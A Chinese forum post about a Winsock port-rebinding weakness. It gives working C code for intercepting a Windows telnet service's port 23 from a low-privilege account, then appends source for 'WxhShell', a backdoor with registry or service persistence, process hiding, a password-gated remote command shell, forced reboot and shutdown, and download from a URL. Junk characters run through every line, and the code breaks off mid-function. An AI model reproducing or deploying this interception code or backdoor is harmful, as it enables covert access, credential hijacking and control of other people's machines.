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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /"w%?Ea  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WP/?(%#Y  
8 KH|:>s=  
  saddr.sin_family = AF_INET; V/C":!;  
E1)7gio  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '!8'Xo@Go3  
L1'R6W~%dN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !zc?o?~z  
~I'1\1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {OA2';3  
~\;s}Fv.  
  这意味着什么?意味着可以进行如下的攻击: JDi\?m d.  
L\1&$|?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u-yVc*<,  
R(jp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b^WTX  
hfUN~89;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /DxaKZ ;b  
s,&tD WU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sFh mp  
~?l>QP|o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v<+5B5"1  
8UY[$lc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |Nx7jGd:i  
Tf [o'=2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0)=U:y.  
K"lZwU\:On  
  #include "UUzLa_  
  #include PtR8m=O  
  #include !% 'dyj  
  #include    vUtA@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lOk'stLNa&  
  int main() X@:[.eI~  
  { E?,O>bCJ5  
  WORD wVersionRequested; >93I|C|  
  DWORD ret; 2y"]rUS`  
  WSADATA wsaData; ;8!L*uMI  
  BOOL val; &-l(nr]h]  
  SOCKADDR_IN saddr; <d&9`e1Hc  
  SOCKADDR_IN scaddr; ?<mxv"  
  int err; nQy%av$  
  SOCKET s;  D`Tx,^E  
  SOCKET sc; >M`ryM2=D  
  int caddsize; yL ?dC"c  
  HANDLE mt; G a1B&@T  
  DWORD tid;   /j}"4_. 8  
  wVersionRequested = MAKEWORD( 2, 2 ); >ZX&2 {  
  err = WSAStartup( wVersionRequested, &wsaData ); 2h:*lV^  
  if ( err != 0 ) { @Kl'0>U  
  printf("error!WSAStartup failed!\n"); uH"W07  
  return -1; YfB8  
  } )21yD1"6  
  saddr.sin_family = AF_INET; m]XG7:}V0  
   5 5$J% ;&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vz{Z tE"  
m :M=De  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -OvzEmI"  
  saddr.sin_port = htons(23); w-2?|XvDmf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .(2Zoa  
  { VMa \?`fT  
  printf("error!socket failed!\n"); iL vzoQ  
  return -1; (fSpY\JPI  
  } [ \41  
  val = TRUE; d5 U?*   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T~&9/%$F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AEUXdMo  
  { SuorCp]  
  printf("error!setsockopt failed!\n"); Vdpvo;4uy  
  return -1; `Z)]mH\X  
  } m+3U[KKvG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kimqm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %d%$jF`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ug2^cgL  
 ,m"0Bu2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qFV }Y0w  
  { ]ULE>a  
  ret=GetLastError(); T/9`VB%N  
  printf("error!bind failed!\n"); &O&;v|!9  
  return -1; G]NnGL<xk  
  } sTmY'5ry  
  listen(s,2); /E%r@Rui3$  
  while(1) Uu}a! V  
  { K |Z]  
  caddsize = sizeof(scaddr); :4HZ >!i  
  //接受连接请求 #RN"Ul-B|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aC2cyUuaN  
  if(sc!=INVALID_SOCKET) cz{5-;$9Z  
  { TmH'_t.*T~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y,YK Mc  
  if(mt==NULL) S(&]?!  
  { il403Ae0  
  printf("Thread Creat Failed!\n"); 8M5a&35J"  
  break; ,.Sd)JB'  
  } :\Pk>a  
  } nKR=/5a4Y  
  CloseHandle(mt); 6/4?x)l3-  
  } y?r:`n  
  closesocket(s); v c r5  
  WSACleanup(); h3udS{9 '8  
  return 0; \os iY ^  
  }   5:T)hoF@  
  DWORD WINAPI ClientThread(LPVOID lpParam) MhaoD5*9  
  { ~WKcO&  
  SOCKET ss = (SOCKET)lpParam; 94Hs.S)  
  SOCKET sc; >U%:Nfo3  
  unsigned char buf[4096]; $t1XoL  
  SOCKADDR_IN saddr; Z` ;.62S  
  long num; - C  
  DWORD val; s\Zp/-Q  
  DWORD ret; a ,EApUWw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L2N O_N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +^@;J?O  
  saddr.sin_family = AF_INET; cW|M4`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cD!y d^QE  
  saddr.sin_port = htons(23); ]TTQ;F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @/DHfs4O  
  { Q+r8qnL'  
  printf("error!socket failed!\n"); p3f>;|uh_  
  return -1; d^.@~  
  } S1`;2mAf*  
  val = 100; 2)W~7GED  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }BR@vY'd  
  { bAd$ >DI[  
  ret = GetLastError();  Ie<`WU K  
  return -1; MT?;9ZV}  
  } ^o|Gx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `H#G/zOr  
  { ~8htg8CZ`  
  ret = GetLastError(); (mvzGXNz4  
  return -1; Y*KHr`\C4  
  } CSBk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vT&xM  
  { W/?\8AE  
  printf("error!socket connect failed!\n"); %K$f2):  
  closesocket(sc); kZfUwF:yN  
  closesocket(ss); bVbh| AA  
  return -1; [=otgVteN"  
  } |Nfi y  
  while(1) .=u8`,sO  
  { sC^9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kpQXnDm 2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !K0:0:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zHT22o56X  
  num = recv(ss,buf,4096,0); SFaG`T=  
  if(num>0) i_KAD U&mP  
  send(sc,buf,num,0); 4uSC>  
  else if(num==0) .w@o%AO_  
  break; dh; L!  
  num = recv(sc,buf,4096,0); B0&W wa:  
  if(num>0) |Qa[N(  
  send(ss,buf,num,0); <q dM  
  else if(num==0) {dk%j~w8  
  break; $Qc`4x;N  
  } $ M8ZF(W  
  closesocket(ss); 8rXQK|A  
  closesocket(sc); @h91: hb  
  return 0 ; 4XCy>;4u  
  } F^xhhz&e  
;<?mMi@<E  
)j^~=Sio.  
========================================================== ~$@~X*K~  
<)J83D0$E  
下边附上一个代码,,WXhSHELL b-Q%c xJ  
/xu#ZZ?8F_  
========================================================== c8"9Lv  
7: cmBkXm  
#include "stdafx.h" th 9I]g^=t  
g`69 0  
#include <stdio.h> Y#A0ud,  
#include <string.h> P*\h)F/3}t  
#include <windows.h> bL)7 /E  
#include <winsock2.h> !}[,ODJ4 d  
#include <winsvc.h> @ 7WWoy  
#include <urlmon.h> \]a@ NBv  
bV~z}V&  
#pragma comment (lib, "Ws2_32.lib") MeSF,*lP  
#pragma comment (lib, "urlmon.lib") %xH2jf  
=HGC<#  
#define MAX_USER   100 // 最大客户端连接数 js~?y|e8k  
#define BUF_SOCK   200 // sock buffer 7H~J?_  
#define KEY_BUFF   255 // 输入 buffer ap7ZT7KW  
a'U}.w}  
#define REBOOT     0   // 重启 T/b%,!N)  
#define SHUTDOWN   1   // 关机 Z%t"~r0PS  
D^Cpgha  
#define DEF_PORT   5000 // 监听端口 e=yQFzQT)  
?f{--|V  
#define REG_LEN     16   // 注册表键长度 , '_y@9?I  
#define SVC_LEN     80   // NT服务名长度 Xc!0'P0T  
Z fQzA}QD  
// 从dll定义API uq~Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?df*Y5I2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G';yb^DB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X5V8w4NN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X:c k  
eMDO;q  
// wxhshell配置信息 5ml#/kE  
struct WSCFG { , Ac gsC  
  int ws_port;         // 监听端口 )nI}KQJ<  
  char ws_passstr[REG_LEN]; // 口令 Qel2OI`b  
  int ws_autoins;       // 安装标记, 1=yes 0=no +5>*$L%8T`  
  char ws_regname[REG_LEN]; // 注册表键名 1%R8q=_  
  char ws_svcname[REG_LEN]; // 服务名 WLB@]JvTBY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *T+Bjj;w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f7mN,_Lt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -F+ )N$CW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &:3uK`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LMF@-j%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N"+o=nS  
tcm?qro)  
}; $0f(Gc|  
^^O @ [_  
// default Wxhshell configuration 5Wyo!pRi  
struct WSCFG wscfg={DEF_PORT, L93PDp4v  
    "xuhuanlingzhe", "Q>gQKgL  
    1, LxcC5/@\~(  
    "Wxhshell", }#0i1]n$D  
    "Wxhshell", \m\E*c ):  
            "WxhShell Service", qVvQ9?  
    "Wrsky Windows CmdShell Service", 6hW ~Q  
    "Please Input Your Password: ", .d4L@{V  
  1, fs:%L  
  "http://www.wrsky.com/wxhshell.exe", \9Z1'W  
  "Wxhshell.exe" ,/XeG`vk  
    }; jIzkI)WC|  
K ]  
// 消息定义模块 5\?\ |*WT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h}T+M BA%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;AjY-w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q|gRBu  
char *msg_ws_ext="\n\rExit."; O>h,u[0  
char *msg_ws_end="\n\rQuit."; tz).]E D  
char *msg_ws_boot="\n\rReboot..."; 8c6dTT4  
char *msg_ws_poff="\n\rShutdown..."; b!h*I>`  
char *msg_ws_down="\n\rSave to "; 9ozK}Cg4  
i xf~3Y8  
char *msg_ws_err="\n\rErr!"; =`1#fQDt  
char *msg_ws_ok="\n\rOK!"; 08+cNT  
"IjCuR;#  
char ExeFile[MAX_PATH]; %YH+=b:uW  
int nUser = 0; npj_i /&g  
HANDLE handles[MAX_USER]; tJ_6dH8Y  
int OsIsNt; <hS %I  
+bGj(T%+'  
SERVICE_STATUS       serviceStatus; R?/!7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vZ rE9C }  
X q"_^  
// 函数声明 [b=l'e/  
int Install(void); c6;326aD q  
int Uninstall(void); 3p%B  
int DownloadFile(char *sURL, SOCKET wsh); Ub(8ko:8$  
int Boot(int flag); nQ$4W  
void HideProc(void); 4Z& i\#Q  
int GetOsVer(void); ~)ecQ  
int Wxhshell(SOCKET wsl); HZG^o^o1l+  
void TalkWithClient(void *cs); dv_& ei  
int CmdShell(SOCKET sock); m$bX;F}T  
int StartFromService(void); |2YkZ nJn  
int StartWxhshell(LPSTR lpCmdLine); sM4Qu./  
~"Kf+eFi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #lf3$Tm D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w6PKr^  
&7}\mnhB  
// 数据结构和表定义 0G`FXj}L  
SERVICE_TABLE_ENTRY DispatchTable[] = sp/l-a  
{ ^"U-\cx  
{wscfg.ws_svcname, NTServiceMain}, iPD5 KsAOA  
{NULL, NULL} `Wes!>Vh!  
}; mr4W2Z@L  
lJ'. 1Z&  
// 自我安装 Q?Y\WD  
int Install(void) 2i~tzo  
{ =)2sehU/  
  char svExeFile[MAX_PATH]; &gNb+z+  
  HKEY key; nO ^m  
  strcpy(svExeFile,ExeFile); R.Plfm06Ue  
i>]1E^yF  
// 如果是win9x系统,修改注册表设为自启动  wfecM(  
if(!OsIsNt) { 8Moe8X#3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FR7DuH/f)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DR d|m<Z  
  RegCloseKey(key); 5`!Bj0Uf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #dvH0LX?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o|tq&&! <  
  RegCloseKey(key); qHGwD20 ~  
  return 0; Mdj?;'Yv  
    } L7gZ4Hu=`  
  } Rr9K1io$)  
} (.CEEWj%{  
else { 86bRfW'  
gJ; *?Uq(  
// 如果是NT以上系统,安装为系统服务 @scy v@5)F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X\z `S##kj  
if (schSCManager!=0) GH6HdZ  
{ 4;rt|X77  
  SC_HANDLE schService = CreateService JTw< 4]  
  ( vM.Y/,7S  
  schSCManager, \1[=t+/  
  wscfg.ws_svcname, i42M.M6D$  
  wscfg.ws_svcdisp, @1`!}.Tk  
  SERVICE_ALL_ACCESS, o~aK[   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZQ%4]=w  
  SERVICE_AUTO_START, z]^u@]@NC  
  SERVICE_ERROR_NORMAL, B8f BX!u/  
  svExeFile, x)wlp{rLf  
  NULL, 5-=&4R\k  
  NULL, (}1:]D{)@V  
  NULL, ut<0-  
  NULL, i gyTvt!  
  NULL r I-A)b4  
  ); )&nfV5@"  
  if (schService!=0) PNSV?RT*pG  
  { g`2DJi&)  
  CloseServiceHandle(schService); 3:S>MFRn.3  
  CloseServiceHandle(schSCManager); hS( )OY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cl`!A2F1G#  
  strcat(svExeFile,wscfg.ws_svcname); w_>SxSS7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }o'WR'LX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zZhAH('fG  
  RegCloseKey(key); xT]|78h$   
  return 0; Pl>BTo>p'  
    } dN8@ 0AMSf  
  } LU=<? "N6  
  CloseServiceHandle(schSCManager); *hk8[  
} c,v?2*<  
} !xIK<H{*  
J&B>"s,  
return 1; cC NyW2'  
} k3 YDnMRA9  
bh[`uRC}  
// 自我卸载 bzl-|+!yB  
int Uninstall(void) =SY`Xkj[  
{ 7,.3'cCL^  
  HKEY key; e"){B  
3 7F&s  
if(!OsIsNt) { %u)niY-g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cnm*&1EzV  
  RegDeleteValue(key,wscfg.ws_regname); Y]9AC  
  RegCloseKey(key); e hgUp =  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fm|h3.`V  
  RegDeleteValue(key,wscfg.ws_regname); l2&s4ERqSm  
  RegCloseKey(key); VJ8 " Q  
  return 0; 9On0om>  
  } _#SCjFz  
} M<%g)jn_  
} MnQ4,+ji-  
else { k|r+/gIV  
-;i vBR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0bcbH9) 1q  
if (schSCManager!=0) <%SG <|t  
{ 5Nt40)E}sN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7V="/0a  
  if (schService!=0) 4U;Zs3  
  { 0+iaO"%  
  if(DeleteService(schService)!=0) { ?k}"g$JFn  
  CloseServiceHandle(schService); [s} n v]  
  CloseServiceHandle(schSCManager); Uyuvmt>  
  return 0; (oUh:w.]Gw  
  } e2}5< 7  
  CloseServiceHandle(schService); 4GL-3e  
  } Y*KP1=Md  
  CloseServiceHandle(schSCManager); 6>hW.aq}  
} HRG2sv T4t  
} U#X6KRZ~g  
G2,9$8qE  
return 1; HQ7  
} wH<'*>/  
8iIz!l%O  
// 从指定url下载文件 k>'c4ay290  
int DownloadFile(char *sURL, SOCKET wsh) 3jJd)C R  
{ ` 465 H  
  HRESULT hr; 2JMMNpya  
char seps[]= "/"; /_?y]Ly[r  
char *token; 1p|h\H  
char *file; (H_YYZ3ZX  
char myURL[MAX_PATH]; B=R9K3f  
char myFILE[MAX_PATH]; 0wA?.~ L  
l_1y#B-k5  
strcpy(myURL,sURL); {'^!S" 9x  
  token=strtok(myURL,seps); K,$Ro@!  
  while(token!=NULL) <* vWcCS1  
  { 3[a&|!Yw  
    file=token; [8h~:.d`  
  token=strtok(NULL,seps); fl4z'8P"(  
  } ij|+MX  
; *@lH%u  
GetCurrentDirectory(MAX_PATH,myFILE); NCKhrDd&  
strcat(myFILE, "\\"); xc&&UKd  
strcat(myFILE, file); @j{n V@|  
  send(wsh,myFILE,strlen(myFILE),0); H;=JqD8`  
send(wsh,"...",3,0); p_Yx"nO7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oA;> z  
  if(hr==S_OK) |_H{ B+.  
return 0; O^_$cq  
else L+]|-L`S  
return 1; 9P)28\4  
W,53|9b@  
} Wb;x eG  
< 9 vS  
// 系统电源模块 u~-,kF@  
int Boot(int flag) Vi5&%/Y  
{ R|,F C'  
  HANDLE hToken; S *D Bzl  
  TOKEN_PRIVILEGES tkp; $.g)%#h:  
zfBaB0P  
  if(OsIsNt) { q '  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h=7eOK]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `+c8;p'q  
    tkp.PrivilegeCount = 1; _ft)e3Gf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t#eTn";  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mi>CHa+$  
if(flag==REBOOT) { sZ7RiH +I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /BaXWrd+  
  return 0; {<k}U;uiO  
} p&O-]o8  
else { [? 1m6u;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YZHqy++x  
  return 0; /yd<+on^  
} f:K3 P[|  
  } IW&.JNcN  
  else { aP}%&{iC*  
if(flag==REBOOT) { h]w5N2$}?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qbunP!  
  return 0; -gzY ~a  
} mKh <M)Bz  
else { F VVpyB|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LL}b]B[  
  return 0; M,WC+")Z=  
} {-'S#04  
} 4pw:O^v  
4or8fG  
return 1; .%3qzOrN  
} efnj5|JSV  
G#(+p|n  
// win9x进程隐藏模块 Q*c |!< &e  
void HideProc(void)  M .J  
{ .o_?n.H'&  
eN?:3cP#l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "?Mf%u1R  
  if ( hKernel != NULL ) 6j{O/  
  { =JK# "'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8ba*:sb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (+=TKI<=  
    FreeLibrary(hKernel); ;xl_9Ht/  
  } noLb  
!P"=57d}"l  
return; v."0igMO  
} KJ]ejb$  
DP-euz  
// 获取操作系统版本 *K}j>A  
int GetOsVer(void) L3 VyW8Y  
{ HHMv%H]M  
  OSVERSIONINFO winfo; YYiT,Xp<A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P:3%#d~q  
  GetVersionEx(&winfo); ="Edt+a)t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DdG*eKC  
  return 1; `J}-U\4F{  
  else w*3DIVlxL  
  return 0; ?->&)oAh  
} VdfV5"  
pSml+A:  
// 客户端句柄模块 ap% Y}  
int Wxhshell(SOCKET wsl) h4 X>  
{ H>/LC* 8-  
  SOCKET wsh; MY$-D+#/`  
  struct sockaddr_in client; GA.4'W^&a  
  DWORD myID; rdY/QvP0=  
g'Id3 1r'  
  while(nUser<MAX_USER) F#az&  
{ 5uJ{#Zd  
  int nSize=sizeof(client); s/=.a2\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^HM9'*&KJ  
  if(wsh==INVALID_SOCKET) return 1; B<A=U r  
~5xs$ub  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |x ~<Dc>0*  
if(handles[nUser]==0) i( l'f#  
  closesocket(wsh); RgQ;fYS  
else ktMUTL(B  
  nUser++; 4qc 0QA%  
  } 3"pl="[*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TiF2c#Q*y  
~l=Jx*  
  return 0; |##rs  
} _?IP}}jA:  
)ZP-t!).G#  
// 关闭 socket >a aHN1Ca  
void CloseIt(SOCKET wsh) i H^Gv*  
{ HR> X@g<c  
closesocket(wsh); [61T$.  
nUser--; WV8?zB1  
ExitThread(0); lW8!_h"G`n  
} ]PI|Xl  
4)4E/q/5  
// 客户端请求句柄 :d5f U:  
void TalkWithClient(void *cs) N+[ |"v  
{ D]h~ \  
= Nd &My  
  SOCKET wsh=(SOCKET)cs; fjh0Z i45  
  char pwd[SVC_LEN]; 1 iWe&I:  
  char cmd[KEY_BUFF]; tHj |_t  
char chr[1]; wB0zFlP  
int i,j; ; {P"~(S%  
2\: z   
  while (nUser < MAX_USER) { PilV5Gg  
%N, P? ,U  
if(wscfg.ws_passstr) {  7z?r x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I}@m6D|\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W,[b:[~v  
  //ZeroMemory(pwd,KEY_BUFF); B9-Nb 4  
      i=0; )^ky @V  
  while(i<SVC_LEN) { Js7D>GWP!  
).Ei:/*j  
  // 设置超时 .L X8ko  
  fd_set FdRead; yM8<)6=  
  struct timeval TimeOut; J3$Ce%<   
  FD_ZERO(&FdRead); o=,q4;R'  
  FD_SET(wsh,&FdRead); 5>e3srKu  
  TimeOut.tv_sec=8; Dn#GoDMJ[  
  TimeOut.tv_usec=0; Fk 5;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H3?HQ>&O7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =R>%}5  
w<uK-]t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qC%[J:RwF  
  pwd=chr[0]; 6,C,LT2^(  
  if(chr[0]==0xd || chr[0]==0xa) { Nd"Rt  
  pwd=0; ;goR0PN  
  break; U;_b4S:  
  } ,3zF_y(*Y  
  i++; A/xWe  
    } 77Fpb?0`  
iSZiJ4AUq  
  // 如果是非法用户,关闭 socket l/JE}Eg(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zMXlLRC0  
} l u^fKQ  
9J$8=UuxWG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \ :*<En0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jmAQ!y|W.  
0V:DeX$bZ  
while(1) { B f_oIc  
:jFKTG  
  ZeroMemory(cmd,KEY_BUFF); !"dbK'jb^  
SQZUkKfb  
      // 自动支持客户端 telnet标准   -%U 15W;  
  j=0; ||lI_B  
  while(j<KEY_BUFF) { .o2]ndT/J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [;Q8xvVZ'  
  cmd[j]=chr[0]; 8"#Ix1#  
  if(chr[0]==0xa || chr[0]==0xd) { n>w/T"  
  cmd[j]=0; B~_='0Gm[  
  break; f4s^$Q{Q  
  } =!G3YZ  
  j++; tv)U 7 K0  
    } -bamNw>|  
MBbycI,  
  // 下载文件 tp3>aNj  
  if(strstr(cmd,"http://")) { b,U3b})(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M=n_;3,o  
  if(DownloadFile(cmd,wsh)) 9\/T #EP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *hHy> (*  
  else ,u^S(vxyz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V0gk8wD  
  } Ch1+YZG  
  else { lD8&*5tDmP  
{ZS-]|Kx  
    switch(cmd[0]) { $Yr'`(Cbc  
  XcS 8{  
  // 帮助 PC_#kz  
  case '?': { y1JxAj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $>3/6(bW  
    break; #nE%.k|R~  
  } z|Hc=AU8y  
  // 安装 UH<nc;.B  
  case 'i': { Q}J'S5%  
    if(Install()) %0PdN@I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &AMW?vO  
    else ZwLD7j*)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0.}Um  
    break; Ufz& 2  
    } )U`"3R  
  // 卸载 pr|P#mc"J  
  case 'r': { S^GB\uJ  
    if(Uninstall()) m[7i<'+S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s<I[)FQVr  
    else XIu3n9g^#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TU&t 1_6  
    break; %"Y7 b2pPa  
    } jhWNMu  
  // 显示 wxhshell 所在路径 FQR{w  
  case 'p': { 8?GS:+  
    char svExeFile[MAX_PATH]; P&/PCSf  
    strcpy(svExeFile,"\n\r"); ^N!l$&=  
      strcat(svExeFile,ExeFile); }LH>0v_<Y  
        send(wsh,svExeFile,strlen(svExeFile),0); web =AQ5I4  
    break; jb' hqz  
    } p%A(5DE  
  // 重启 BX|+"AeF  
  case 'b': { "+REv_:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L%8>deE>;D  
    if(Boot(REBOOT)) p_$03q>oQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `eIX*R   
    else { :\@WY  
    closesocket(wsh); f:k3j}&  
    ExitThread(0); w#Y<~W&  
    } )$/Gh&1G  
    break; G4Zs(:a  
    } !8"516!d|p  
  // 关机  H}NW?  
  case 'd': { C7(kV{h$d  
